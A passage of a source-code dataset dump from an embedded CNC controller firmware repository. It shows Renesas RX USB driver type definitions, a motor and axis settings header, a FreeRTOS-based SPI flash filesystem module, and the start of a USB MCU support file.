USB_STNBYINT_t;\n\ntypedef void (*USB_CB_CHECK_t)(struct USB_UTR *, uint16_t**);\ntypedef void (*USB_CB_t)(struct USB_UTR *, uint16_t, uint16_t);\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\ntypedef volatile struct st_usba __evenaccess* USB_REGADR1_t;\n#else\ntypedef volatile struct st_usb1 __evenaccess* USB_REGADR1_t;\n#endif /* defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\ntypedef volatile struct st_usb0 __evenaccess* USB_REGADR_t;\n\ntypedef struct\n{\n uint16_t ReqType; /* Request type */\n uint16_t ReqTypeType; /* Request type TYPE */\n uint16_t ReqTypeRecip; /* Request type RECIPIENT */\n uint16_t ReqRequest; /* Request */\n uint16_t ReqValue; /* Value */\n uint16_t ReqIndex; /* Index */\n uint16_t ReqLength; /* Length */\n} USB_REQUEST_t;\n\ntypedef struct USB_HCDREG\n{\n uint16_t rootport; /* Root port */\n uint16_t devaddr; /* Device address */\n uint16_t devstate; /* Device state */\n uint16_t ifclass; /* Interface Class */\n uint16_t *tpl; /* Target peripheral list \n (Vendor ID, Product ID) */\n uint16_t *pipetbl; /* Pipe Define Table address */\n USB_CB_t classinit; /* Driver init */\n USB_CB_CHECK_t classcheck; /* Driver check */\n USB_CB_t devconfig; /* Device configured */\n USB_CB_t devdetach; /* Device detach */\n USB_CB_t devsuspend; /* Device suspend */\n USB_CB_t devresume; /* Device resume */\n} USB_HCDREG_t;\n\ntypedef struct USB_UTR\n{\n USB_MH_t msghead; /* Message header (for SH-solution) */\n uint16_t msginfo; /* Message Info for F/W */\n uint16_t keyword; /* Rootport / Device address / Pipe number */\n union {\n USB_REGADR_t ipp; /* IP Address(USB0orUSB1)*/\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n USB_REGADR1_t ipp1; /* IP Address(USBHS) */\n#endif /*#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)*/\n };\n uint16_t ip; /* IP number(0or1) */\n uint16_t result; /* Result */\n USB_CB_t complete; /* Call Back Function Info */\n void *tranadr; /* Transfer data Start address */\n uint32_t tranlen; /* Transfer data length */\n uint16_t *setup; /* Setup packet(for control only) */\n uint16_t status; /* Status */\n uint16_t pipectr; /* Pipe control register */\n uint8_t errcnt; /* Error count */\n uint8_t segment; /* Last flag */\n void *usr_data; \n} USB_UTR_t;\n\n/* Class request processing function type. */\ntypedef void (*USB_CB_TRN_t)(USB_UTR_t *, USB_REQUEST_t*, uint16_t ctsq);\n\ntypedef struct USB_PCDREG\n{\n uint16_t **pipetbl; /* Pipe Define Table address */\n uint8_t *devicetbl; /* Device descriptor Table address */\n uint8_t *qualitbl; /* Qualifier descriptor Table address */\n uint8_t **configtbl; /* Configuration descriptor\n Table address */\n uint8_t **othertbl; /* Other configuration descriptor\n Table address */\n uint8_t **stringtbl; /* String descriptor Table address */\n USB_CB_t classinit; /* Driver init */\n USB_CB_t devdefault; /* Device default */\n USB_CB_t devconfig; /* Device configured */\n USB_CB_t devdetach; /* Device detach */\n USB_CB_t devsuspend; /* Device suspend */\n USB_CB_t devresume; /* Device resume */\n USB_CB_t interface; /* Interface changed */\n USB_CB_TRN_t ctrltrans; /* Control Transfer */\n} USB_PCDREG_t;\n\ntypedef struct USB_UTR USB_HCDINFO_t;\ntypedef struct USB_UTR USB_MGRINFO_t;\ntypedef struct USB_UTR USB_PCDINFO_t;\ntypedef struct USB_UTR USB_CLSINFO_t;\n\n\n\nstruct usb_devinfo \n{\n uint8_t devadr;\n uint8_t speed;\n uint8_t isTPL;\n uint8_t interfaceClass;\n uint8_t isActDev;\n USB_UTR_t *ptr;\n};\n\n\n\n#ifdef USB_HOST_BC_ENABLE\ntypedef struct\n{\n uint8_t dcpmode; /* DCP Mode Flag */\n uint8_t state; /* BC State */\n uint8_t pd_detect; /* PD Detect Flag */\n} usb_bc_status_t;\n#endif /* USB_HOST_BC_ENABLE */\n\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n\n/* Condition compilation by the difference of the operating system */\n #ifndef NULL\n #define NULL 0u\n #endif /* NULL */\n\n #define E_OK 0L /* Normal end */\n #define E_TMOUT (-50L) /* Time out */\n #define E_QOVR (-43L) /* Queuing over flow */\n\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n\n /*-------------------- Task/Handler attribute (***atr) -------------*/\n #define TA_HLNG 0x00000000u /* High-level language program */\n /*----------------------- Object attribute (***atr) ----------------*/\n #define TA_TFIFO 0x00000000u /* FIFO wait queue */\n #define TA_MFIFO 0x00000000u /* FIFO message queue */\n #define TA_ACT 0x00000002u /* Create task with activation */\n\n /*-------------------------- Object status -------------------------*/\n #define TTS_RUN 0x00000001UL /* RUNNING */\n #define TTS_RDY 0x00000002UL /* READY */\n #define TTS_WAI 0x00000004UL /* WAITING */\n #define TTS_SUS 0x00000008UL /* SUSPENDED */\n #define TTS_WAS 0x0000000cUL /* WAITING-SUSPENDED */\n #define TTS_DMT 0x00000010UL /* DORMANT */\n #define TTS_STK 0x40000000UL /* STACK WAITING */\n\n /* <system call> */\n #define USB_NO_SYSTEM_PP\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n#define USB_NULL NULL\n#define USB_VP_INT VP_INT\n#define USB_TA_HLNG TA_HLNG\n#define USB_TA_TFIFO TA_TFIFO\n#define USB_TA_MFIFO TA_MFIFO\n\n#define USB_E_TMOUT E_TMOUT /* TRCV_MSG time out */\n#define USB_E_QOVR E_QOVR /* Submit overlap error */\n#define USB_E_ERROR (-1L)\n#define USB_E_OK E_OK\n#define USB_TMPOL TMO_POL /* TRCV_MSG poling */\n#define USB_TMFEVR TMO_FEVR /* TRCV_MSG no time */\n#define USB_TAJLNG TA_HLNG /* High-level language program */\n#define USB_TATFIFO TA_TFIFO /* FIFO wait queue */\n#define USB_TAMFIFO TA_MFIFO /* FIFO message queue */\n#define USB_TAACT TA_ACT /* Create task with activation */\n#define USB_TTSRUN TTS_RUN /* RUNNING */\n\n#define USB_TTS_RUN TTS_RUN\n#define USB_TTS_RDY TTS_RDY\n#define USB_TTS_WAI TTS_WAI\n#define USB_TTS_SUS TTS_SUS\n#define USB_TTS_WAS TTS_WAS\n#define USB_TTS_DMT TTS_DMT\n#define USB_TTS_STK TTS_STK\n\n/*****************************************************************************\nMacro definitions\n******************************************************************************/\n#define USB_NONE (uint16_t)(0)\n#define USB_YES (uint16_t)(1)\n#define USB_NO (uint16_t)(0)\n#define USB_DONE (uint16_t)(0)\n#define USB_ERROR (uint16_t)(0xFFFF)\n#define USB_OK (uint16_t)(0)\n#define USB_NG (uint16_t)(0xFFFF)\n#define USB_ON (uint16_t)(1)\n#define USB_OFF (uint16_t)(0)\n#define USB_OTG_DONE (uint16_t)(2)\n#define USB_NOT_USED (uint16_t)(0)\n\n#endif /* __R_USB_CTYPEDEF_H__ */\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.6050044894218445, "alphanum_fraction": 0.6438784599304199, "avg_line_length": 36.29999923706055, "blob_id": "6042a9d9b7f9f7d90180b4830971b280cf3d6b33", "content_id": "8e0f58a53357895a7351b583563e0c6daf1750b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2238, "license_type": "no_license", "max_line_length": 123, "num_lines": 60, "path": "/src/cnc/settings/settings_easymak.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * settings_easymak.h */\n\n/***********************************************************************/\n/**** easymak profile ********************************************/\n/***********************************************************************/\n\n// ***> NOTE: The init message must be a single line with no CRs or LFs\n#define INIT_MESSAGE \"Initializing configs to Shapeoko2 500mm profile\"\n\n#define JUNCTION_DEVIATION_EM\t\t0.2// default value, in mm - smaller is faster\n#define JUNCTION_ACCELERATION_EM\t160000\t// 2 million - centripetal acceleration around corners\n\n// *** motor settings ***\n\n// *** motor settings ***\n#define M1_MOTOR_MAP_EM\t\t\t\tAXIS_Z\n#define M1_TRAVEL_PER_REV_RETA_EM\t3\n#define M1_TRAVEL_PER_REV_HELI_EM\t3\n#define M1_MICROSTEPS_EM\t\t\t64\n#define M1_POLARITY_EM\t\t\t\t0\n\n#define M2_MOTOR_MAP_EM\t\t\t\tAXIS_Y // Y1 - left side of machine\n#define M2_TRAVEL_PER_REV_RETA_EM\tCREM_RETA\n#define M2_TRAVEL_PER_REV_HELI_EM\tCREM_HELI\n#define M2_MICROSTEPS_EM\t\t\t64\n#define M2_POLARITY_EM\t\t\t\t0\n\n#define M3_MOTOR_MAP_EM\t\t\t\tAXIS_X // X2 - right sif of machine\n#define M3_TRAVEL_PER_REV_RETA_EM\tCREM_RETA\n#define M3_TRAVEL_PER_REV_HELI_EM\tCREM_HELI\n#define M3_MICROSTEPS_EM\t\t\t64\n#define M3_POLARITY_EM\t\t\t\t1\n\n#define M4_MOTOR_MAP_EM\t\t\t\tAXIS_X\n#define M4_TRAVEL_PER_REV_RETA_EM\tCREM_RETA\n#define M4_TRAVEL_PER_REV_HELI_EM\tCREM_HELI\n#define M4_MICROSTEPS_EM\t\t\t64\n#define M4_POLARITY_EM\t\t\t\t0\n\n#define Z_STEP_PULSE_EM \t\t\t(M1_TRAVEL_PER_REV_EM*M1_STEP_ANGLE)/(360*M1_MICROSTEPS_EM)\n// *** axis settings ***\n\n// These are relative conservative values for a well-tuned Shapeoko2 or similar XY belt / Z screw machine\n#define X_VELOCITY_MAX_EM\t\t\t10000\n#define X_FEEDRATE_MAX_EM\t\t\tY_VELOCITY_MAX_EM\n#define X_JERK_MAX_EM\t\t\t\t400\n#define X_JUNCTION_DEVIATION_EM\t\tJUNCTION_DEVIATION_EM\n\n#define Y_VELOCITY_MAX_EM\t\t\t10000\n#define Y_FEEDRATE_MAX_EM\t\t\tY_VELOCITY_MAX\n#define Y_JERK_MAX_EM\t\t\t\t400\n#define Y_JUNCTION_DEVIATION_EM\t\tJUNCTION_DEVIATION_EM\n\n\n#define Z_VELOCITY_MAX_EM\t\t\t900\n#define Z_FEEDRATE_MAX_EM\t\t\tZ_VELOCITY_MAX_EM\n // value must be large enough to guarantee return to Zmax during homing\n#define Z_JERK_MAX_EM\t\t\t\t6000\t\t\t\t\t// 50,000,000\n#define Z_JUNCTION_DEVIATION_EM\t\tJUNCTION_DEVIATION_EM\n" }, { "alpha_fraction": 0.5974771976470947, "alphanum_fraction": 0.6211051344871521, "avg_line_length": 25.75818634033203, "blob_id": "c4324d4781be1ffd82c6fc942538a43a2e77c3a6", "content_id": "df127103d9e4cf8302cd4b15e32a61b422d431c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 10623, "license_type": "no_license", "max_line_length": 119, "num_lines": 397, "path": "/fsystem_spi/fsystem_spi.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * fsystem_spi.c\n *\n * Created on: Jul 13, 2016\n * Author: LAfonso01\n */\n#include \"platform.h\"\n#include \"r_spi_flash_if.h\"\n#include \"fsystem_spi.h\"\n\n#include \"FreeRTOS.h\"\n\n#include <string.h>\n\n#define FL_RSPI_CHANNEL\t\t\t\t(1)\n/* Valid Mask for Load Image Header */\n#define FS_VALID_MASK (0xAA)\n/* SPI Flash FS block size */\n#define FS_BLOCK_SIZE (1024*1024)\n/* SPI Flash FS init address */\n#define FS_BLOCK_END (1024*1024 - 1)\n/* Number of blocks */\n#define FS_BLOCK_MAX (7)\n/* Number of blocks */\n#define FS_BLOCK_SIZE_64K (16)\n\nvolatile uint8_t tx_data;\nvolatile uint8_t rx_data;\n\nstatic uint8_t g_block_sanity;\nstatic uint32_t g_write_addr;\nstatic uint32_t g_read_addr;\nstatic uint8_t g_file_block = 0;\nstatic uint32_t g_file_index = 0;\nstatic uint8_t file_block_index = 0;\nstatic uint8_t g_wl_offset = 0;\n\nfs_image_header_t g_fs_header[FS_BLOCK_MAX];\nfs_image_header_t g_fs_header_format;\nconst uint32_t g_block_addr[FS_BLOCK_MAX] = {\n\t0x100000,\n\t0x200000,\n\t0x300000,\n\t0x400000,\n\t0x500000,\n\t0x600000,\n\t0x700000,\n};\n\nstatic uint8_t fs_find_next_block_erased(void);\nstatic uint8_t fs_find_file_block(uint8_t fblock);\n\nvoid FS_spi_init(void)\n{\n\tuint8_t i;\n\n\tR_SF_Erase(FL_RSPI_CHANNEL, 0, SF_ERASE_BULK);\n\n\tfor (i = 0; i < FS_BLOCK_MAX; i++)\n\t{\n\n\t\t/* Read the block header */\n\t\tFS_spi_read_blocking(g_block_addr[i], (uint8_t *)&g_fs_header[i], sizeof(fs_image_header_t));\n\t\t/* Read the block end */\n\t\tFS_spi_read_blocking(g_block_addr[i] + FS_BLOCK_END, &g_block_sanity, 1);\n\t\t/* Checking if the block is totally erased */\n\t\tif (g_fs_header[i].valid_mask == 0xFF && g_block_sanity == 0xFF)\n\t\t{\n\t\t\t/* Write block header format*/\n\t\t\tmemset((uint8_t *)&g_fs_header_format,0xFF,sizeof(fs_image_header_t));\n\t\t\tg_fs_header_format.valid_mask = FS_VALID_MASK;\n\t\t\tg_fs_header_format.block_state = BLOCK_ERASED;\n\t\t\tFS_spi_write_blocking(g_block_addr[i], &g_fs_header_format.valid_mask, 1);\n\t\t\tFS_spi_write_blocking(g_block_addr[i] + offsetof(fs_image_header_t, block_state),\\\n\t\t\t\t\t(uint8_t *)&g_fs_header_format.block_state, sizeof(uint16_t));\n\t\t}\n\t}\n}\n\nvoid FS_spi_start_block(uint32_t fsize)\n{\n\tuint8_t i;\n\tuint8_t blocks_needed = 0;\n\tuint8_t blocks_avalible = 0;\n\tuint8_t block_erase_count= 0;\n\tuint8_t block_offset= 0;\n\n\t/* Calculate how many block are needed for the file */\n\tblocks_needed = (fsize/FS_BLOCK_SIZE) + 1;\n\n\tfor (i = 0; i < FS_BLOCK_MAX; i++)\n\t{\n\t\t/* Read the block header */\n\t\tFS_spi_read_blocking(g_block_addr[i], (uint8_t *)&g_fs_header[i], sizeof(fs_image_header_t));\n\t\t/* Check if the block is available */\n\t\tif (g_fs_header[i].block_state == BLOCK_ERASED)\n\t\t{\n\t\t\t/* Get how many blocks is available*/\n\t\t\tblocks_avalible++;\n\t\t}\n\t\t/* Check if the block was in use */\n\t\tif (g_fs_header[i].block_state == BLOCK_IN_USE)\n\t\t{\n\t\t\t/* Erase the used block header - initial 64K block */\n\t\t\tFS_spi_erase_blocking(g_block_addr[i]);\n\n\t\t\tg_wl_offset = i;\n\t\t}\n\t}\n\t/* Check if there is enough space available to write the file*/\n\tif(blocks_avalible < blocks_needed)\n\t{\n\t\t/* Calculate how many block is needed*/\n\t\tblocks_needed = blocks_needed - blocks_avalible;\n\n\t\tblock_offset = g_wl_offset;\n\t\tfor (i = 0; i < FS_BLOCK_MAX; i++)\n\t\t{\n\t\t\tblock_offset += i;\n\n\t\t\tif (block_offset == FS_BLOCK_MAX)\n\t\t\t\tblock_offset = 0;\n\t\t\t/* Read the block header */\n\t\t\tFS_spi_read_blocking(g_block_addr[block_offset], (uint8_t *)&g_fs_header[block_offset], sizeof(fs_image_header_t));\n\t\t\t/* Check if the block should be erased */\n\t\t\tif (g_fs_header[block_offset].block_state == BLOCK_NEED_ERASE)\n\t\t\t{\n\t\t\t\t/* Erases all the 1MB Block except the first 64K block*/\n\t\t\t\tfor (block_erase_count = 1; block_erase_count < FS_BLOCK_SIZE_64K ; block_erase_count++)\n\t\t\t\t{\n\t\t\t\t\tFS_spi_erase_blocking(g_block_addr[block_offset] + 0x10000*block_erase_count);\n\t\t\t\t}\n\t\t\t\t/* Read the block header */\n\t\t\t\tFS_spi_read_blocking(g_block_addr[block_offset], (uint8_t *)&g_fs_header[block_offset], sizeof(fs_image_header_t));\n\t\t\t\t/* Read the block end */\n\t\t\t\tFS_spi_read_blocking(g_block_addr[block_offset] + FS_BLOCK_END, &g_block_sanity, 1);\n\t\t\t\t/* Checking if the block is totally erased */\n\t\t\t\tif (g_fs_header[block_offset].valid_mask == 0xFF && g_block_sanity == 0xFF)\n\t\t\t\t{\n\t\t\t\t\t/* Write block header format*/\n\t\t\t\t\tmemset((uint8_t *)&g_fs_header_format,0xFF,sizeof(fs_image_header_t));\n\t\t\t\t\tg_fs_header_format.valid_mask = FS_VALID_MASK;\n\t\t\t\t\tg_fs_header_format.block_state = BLOCK_ERASED;\n\t\t\t\t\tFS_spi_write_blocking(g_block_addr[block_offset], &g_fs_header_format.valid_mask, 1);\n\t\t\t\t\tFS_spi_write_blocking(g_block_addr[block_offset] + offsetof(fs_image_header_t, block_state),\\\n\t\t\t\t\t\t\t(uint8_t *)&g_fs_header_format.block_state, sizeof(uint16_t));\n\t\t\t\t\t/* Break the for loop if there is enough space to the incoming file*/\n\t\t\t\t\tif(--blocks_needed == 0)\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid FS_spi_writeFile(FIL* fp, char * fname)\n{\n\tuint16_t page_index = 0;\n\tuint8_t cur_block_index = 0;\n\tuint8_t file_index = 0;\n\tuint32_t file_size_onblock = 0;\n\tuint8_t block_sanity_word = 0;\n\tvoid *temp = NULL;\n\n\tuint32_t remained;\n\tg_write_addr = 0;\n\ttemp = pvPortMalloc( FS_PAGE_SIZE );\n\n\tf_open(fp,fname,FA_READ);\n\n\tcur_block_index = fs_find_next_block_erased();\n\n\tFS_spi_write_blocking(g_block_addr[cur_block_index] + offsetof(fs_image_header_t, file_block_number),\\\n\t\t\t\t(uint8_t *)&file_index, 1);\n\n\tFS_spi_write_blocking(g_block_addr[cur_block_index] + offsetof(fs_image_header_t, filename),\\\n\t\t\t\t(uint8_t *)fname, 32);\n\n\tfile_index++;\n\n\t/* get the block erased address */\n\tg_write_addr = g_block_addr[cur_block_index];\n\n\tpage_index = 0;\n\n\twhile(!f_eof(fp))\n\t{\n\t\tif(page_index == 4095)\n\t\t{\n\n\t\t\tcur_block_index = fs_find_next_block_erased();\n\n\t\t\tFS_spi_write_blocking(g_block_addr[cur_block_index] + offsetof(fs_image_header_t, file_block_number),\\\n\t\t\t\t\t(uint8_t *)&file_index, 1);\n\n\t\t\tfile_index++;\n\n\t\t\tfile_size_onblock = page_index*FS_PAGE_SIZE;\n\n\t\t\tFS_spi_write_blocking(g_block_addr[cur_block_index] + offsetof(fs_image_header_t, file_size_block),\\\n\t\t\t\t\t(uint8_t *)&file_size_onblock, sizeof (uint32_t));\n\n\t\t\t/* get the block erased address */\n\t\t\tg_write_addr = g_block_addr[cur_block_index];\n\n\t\t\tpage_index = 0;\n\n\t\t}\n\n\t\tf_read(fp,temp,FS_PAGE_SIZE,(UINT *)&remained);\n\n\t\tFS_spi_write_blocking(g_write_addr + (page_index + 1)*FS_PAGE_SIZE, (uint8_t *)temp, FS_PAGE_SIZE);\n\n\t\tpage_index++;\n\t}\n\n\tfile_size_onblock = (page_index - 1)*FS_PAGE_SIZE + remained;\n\n\tFS_spi_write_blocking(g_block_addr[cur_block_index] + offsetof(fs_image_header_t, file_size_block),\\\n\t\t\t(uint8_t *)&file_size_onblock, sizeof (uint32_t));\n\n\tblock_sanity_word = FS_VALID_MASK;\n\n\tg_write_addr = g_block_addr[cur_block_index] + FS_BLOCK_END;\n\n\tFS_spi_write_blocking(g_write_addr, &block_sanity_word, 1);\n\n\tvPortFree(temp);\n}\n\nvoid FS_spi_readFile(uint8_t * buffer, uint32_t size)\n{\n\tfile_block_index = fs_find_file_block(g_file_block);\n\n\tg_read_addr = g_block_addr[file_block_index] + FS_PAGE_SIZE + g_file_index;\n\n\tFS_spi_read_blocking(g_read_addr, buffer, size);\n\n\tg_file_index += size;\n\n\tif(g_file_index > (FS_BLOCK_SIZE - FS_PAGE_SIZE))\n\t{\n\t\tg_file_index = 0;\n\t\tg_file_block++;\n\t}\n}\n\nbool FS_spi_eof(void)\n{\n\tif(g_file_index > g_fs_header[file_block_index].file_size_block)\n\t{\n\t\treturn true;\n\t}\n\telse\n\t{\n\t\treturn false;\n\t}\n}\n\nvoid FS_spi_close(void)\n{\n\tg_file_index = 0;\n\tg_file_block = 0;\n}\n\n/*-----------------------------------------------------------------------*/\n/* Get a string from the file */\n/*-----------------------------------------------------------------------*/\n\nuint8_t* FS_spi_gets (\n\tuint8_t* buff,\t/* Pointer to the string buffer to read */\n\tint len\t\t/* Size of string buffer (characters) */\n)\n{\n\tint n = 0;\n\tuint8_t c, *p = buff;\n\tuint8_t s[2];\n\n\twhile (n < len - 1) {\t/* Read characters until buffer gets filled */\n\t\tFS_spi_readFile(s, 1);\n\t\tif (FS_spi_eof()) break;\n\t\tc = s[0];\n\t\tif (_USE_STRFUNC == 2 && c == '\\r') continue;\t/* Strip '\\r' */\n\t\t*p++ = c;\n\t\tn++;\n\t\tif (c == '\\n') break;\t\t/* Break on EOL */\n\t}\n\t*p = 0;\n\treturn n ? buff : 0;\t\t\t/* When no data read (eof or error), return with error. */\n}\n\nvoid FS_spi_idle(uint32_t size)\n{\n\n}\n\nvoid FS_spi_read_blocking(uint32_t rx_address, uint8_t * rx_buffer, uint32_t rx_bytes)\n{\n while((R_SF_ReadStatus(FL_RSPI_CHANNEL) & SF_WIP_BIT_MASK) == 1)\n {\n /* Make sure SPI flash is not busy */\n }\n\n /* Read data from external SPI flash */\n R_SF_ReadData( FL_RSPI_CHANNEL,\n rx_address,\n rx_buffer,\n rx_bytes);\n}\n\nvoid FS_spi_write_blocking(uint32_t rx_address, uint8_t * rx_buffer, uint32_t rx_bytes)\n{\n while((R_SF_ReadStatus(FL_RSPI_CHANNEL) & SF_WIP_BIT_MASK) == 1)\n {\n /* Make sure SPI flash is not busy */\n }\n\n /* Read data from external SPI flash */\n R_SF_WriteData( FL_RSPI_CHANNEL,\n rx_address,\n rx_buffer,\n rx_bytes);\n}\n\nvoid FS_spi_erase_blocking(const uint32_t address)\n{\n while((R_SF_ReadStatus(FL_RSPI_CHANNEL) & SF_WIP_BIT_MASK) == 1)\n {\n /* Make sure SPI flash is not busy */\n }\n\n\t/* Block erase */\n\tR_SF_Erase(FL_RSPI_CHANNEL, address, SF_ERASE_BLOCK);\n\n}\n\nvoid FS_spi_hw_init(void)\n{\n\tR_SF_Init(FL_RSPI_CHANNEL);\n}\n\nstatic uint8_t fs_find_next_block_erased(void)\n{\n\tuint8_t i = 0;\n\tuint16_t cur_block_state;\n\tuint8_t block_offset;\n\n\tblock_offset = g_wl_offset;\n\tfor (i = 0; i < FS_BLOCK_MAX; i++)\n\t{\n\t\t\tblock_offset += i;\n\n\t\t\tif (block_offset == FS_BLOCK_MAX)\n\t\t\t\tblock_offset = 0;\n\t\t\t/* Read the block header */\n\t\t\tFS_spi_read_blocking(g_block_addr[block_offset], (uint8_t *)&g_fs_header[block_offset], sizeof(fs_image_header_t));\n\t\t\t/* Check if the block is erased */\n\t\t\tif (g_fs_header[block_offset].block_state == BLOCK_ERASED)\n\t\t\t{\n\t\t\t\t/* Write block state to used*/\n\t\t\t\tcur_block_state = BLOCK_IN_USE;\n\t\t\t\tFS_spi_write_blocking(g_block_addr[block_offset] + offsetof(fs_image_header_t, block_state),\\\n\t\t\t\t\t\t(uint8_t *)&cur_block_state, 2);\n\n\t\t\t\treturn block_offset;\n\t\t\t}\n\t}\n\n\treturn 0xff;\n}\n\nstatic uint8_t fs_find_file_block(uint8_t fblock)\n{\n\tuint8_t i = 0;\n\tuint8_t block_offset;\n\n\tblock_offset = g_wl_offset;\n\tfor (i = 0; i < FS_BLOCK_MAX; i++)\n\t{\n\t\t\tblock_offset += i;\n\n\t\t\tif (block_offset == FS_BLOCK_MAX)\n\t\t\t\tblock_offset = 0;\n\t\t\t/* Read the block header */\n\t\t\tFS_spi_read_blocking(g_block_addr[block_offset], (uint8_t *)&g_fs_header[block_offset], sizeof(fs_image_header_t));\n\t\t\t/* Check if the block is erased */\n\t\t\tif (g_fs_header[block_offset].block_state == BLOCK_IN_USE)\n\t\t\t{\n\t\t\t\tif(g_fs_header[block_offset].file_block_number == fblock)\n\t\t\t\t{\n\t\t\t\t\treturn block_offset;\n\t\t\t\t}\n\t\t\t}\n\t}\n\n\treturn 0xff;\n}\n" }, { "alpha_fraction": 0.4589157700538635, "alphanum_fraction": 0.48900315165519714, "avg_line_length": 35.20028305053711, "blob_id": "ce26c48f922629b9bfd1fbda4637a6d34f5425c8", "content_id": "ca7a46122e53e32da895b1f75251cefa7301e28f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 51151, "license_type": "no_license", "max_line_length": 120, "num_lines": 1413, "path": "/r_usb_basic/src/HW/comm/rx_mcu.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : rx_rsk.c\n* Description : RX MCU processing\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include <machine.h>\n#include \"r_usb_basic_if.h\"\n\n#ifdef USB_DTC_ENABLE\n#include \"r_dtc_rx_if.h\"\n#endif /* USB_DTC_ENABLE */\n\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n/* Select Use IP */\n#define USB_PswIntDisable (uint32_t)(7 << 24) /* Processer Status Word - IPL(Level7) */\n#define USB_PswIntSleep (uint32_t)(1 << 24) /* Processer Status Word - IPL(Level1) */\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern void R_usb_pstd_DeviceInformation(USB_UTR_t *ptr, uint16_t *tbl);\n\n/******************************************************************************\nTypedef definitions\n******************************************************************************/\n\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n#ifdef USB_DTC_ENABLE\ndtc_transfer_data_cfg_t usb_td_cfg[2];\ndtc_transfer_data_t usb_dtc_transfer_data[2];\n#endif /* USB_DTC_ENABLE */\n\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\nuint16_t usb_gcstd_D0fifo[2u] = {0,0}; /* D0fifo0 Interrupt Request enable */\nuint16_t usb_gcstd_D1fifo[2u] = {0,0}; /* D1fifo0 Interrupt Request enable */\n\nstatic bool usb_gstd_is_opened[2] = { false, false };\n\n/*=== SYSTEM ================================================================*/\nusb_err_t usb_cpu_module_start( usb_ip_t ip_type );\nusb_err_t usb_cpu_module_stop( usb_ip_t ip_type );\nvoid usb_cpu_target_init(void);\n/*=== Interrupt =============================================================*/\nvoid usb_cpu_usbint_init(void);\nvoid usb_cpu_usb_int_hand(void);\nvoid usb2_cpu_usb_int_hand(void);\nvoid usb_cpu_d0fifo_int_hand(void);\nvoid usb2_cpu_d0fifo_int_hand(void);\nvoid usb_cpu_int_enable(USB_UTR_t *ptr);\nvoid usb_cpu_int_disable(USB_UTR_t *ptr);\n/*=== TIMER =================================================================*/\nvoid usb_cpu_Delay1us(uint16_t time);\nvoid usb_cpu_DelayXms(uint16_t time);\n\n#ifdef USB_DTC_ENABLE\n/*=== DMA ===================================================================*/\nvoid usb_cpu_d0fifo2buf_start_dma(USB_UTR_t *ptr, uint32_t SourceAddr);\nvoid usb_cpu_buf2d0fifo_start_dma(USB_UTR_t *ptr, uint32_t DistAdr);\nvoid usb_cpu_d0fifo_restart_dma(USB_UTR_t *ptr);\nvoid usb_cpu_d0fifo_stop_dma(USB_UTR_t *ptr);\nuint16_t usb_cpu_get_dtc_block_count(USB_UTR_t *ptr);\nvoid usb_cpu_d0fifo_enable_dma(USB_UTR_t *ptr );\nvoid usb_cpu_d0fifo_disable_dma(USB_UTR_t *ptr );\n#endif /* USB_DTC_ENABLE */\n\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n#pragma interrupt usb_cpu_usb_int_hand(vect = VECT(USB0, USBI0))\n#pragma interrupt usb2_cpu_usb_int_hand(vect = VECT(USBA, USBAR))\n#pragma interrupt usb_cpu_d0fifo_int_hand(vect = VECT(USB0, D0FIFO0))\n#pragma interrupt usb2_cpu_d0fifo_int_hand(vect = VECT(USBA, D0FIFO2))\n#else\n#pragma interrupt usb_cpu_usb_int_hand(vect = VECT(USB0, USBI0))\n#pragma interrupt usb_cpu_d0fifo_int_hand(vect = VECT(USB0, 